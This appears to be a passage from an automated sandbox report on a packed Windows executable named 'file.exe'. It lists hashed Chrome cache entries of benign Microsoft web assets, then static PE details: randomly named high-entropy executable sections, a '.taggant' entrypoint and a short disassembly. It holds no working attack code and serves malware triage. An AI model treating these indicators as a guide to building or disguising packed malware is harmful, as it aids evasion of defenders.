Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9480068245997835
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'899'008 bytes
MD5:	779642924bb418c018837eb3e49ba53f
SHA1:	edcc79b3904ffd2e392fe1ea33b237e5d93eb797
SHA256:	7ed2d98eb66e17d40351af50fb44e86e043af8a5e3fb52c15d346c75e953db71
SHA512:	799e009bf0563b78abc546b160908055b55b5143325e648b0c86a2fa3ae26b4038dd0b54dea6dddf60d8826e1d1669294edc565becd8c5ba59167b19837a53cf
SSDEEP:	49152:Z/WflaaBQKa+2OTvv+XNXLH4d+DmY4LiIQ++e3H:KgaBraBOCLHvX4Lt+YH
TLSH:	3C95339DED01252CC2060EB4A3A7969D352F0C56B0E0D1E27E0E9F37FC8669296F1CE1
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ug..............................K...........@..........................@K.....&.....@.................................\@..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6755B9EA [Sun Dec 8 15:23:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9CACEA481Ah
psubusb mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9CACEA6815h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5405c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x24200	af6aa6aaa37254f79d4680ded02213fe	False	0.9974656682525952	data	7.973715098767596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x400	fe67bb2a9df3150b9c94de8bd81ed8a0	False	0.3603515625	data	5.186832724894366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	f89f2f28be6f3fc6a464feb82ace12f3	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2b3000	0x200	a5e481fcede3ace49e449425c917d4d9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nfvvrmei	0x308000	0x1a8000	0x1a7a00	8e496998c0e1d6223df0b76fc0aec1e3	False	0.9944512577456477	data	7.953841190680119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ixxaaxqd	0x4b0000	0x1000	0x400	73700e27da2400e18286e48dcc445e51	False	0.771484375	data	6.062818766726205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b1000	0x3000	0x2200	de66274db6e469c6a12a15690cd212d3	False	0.08915441176470588	DOS executable (COM)	1.0375657239124798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

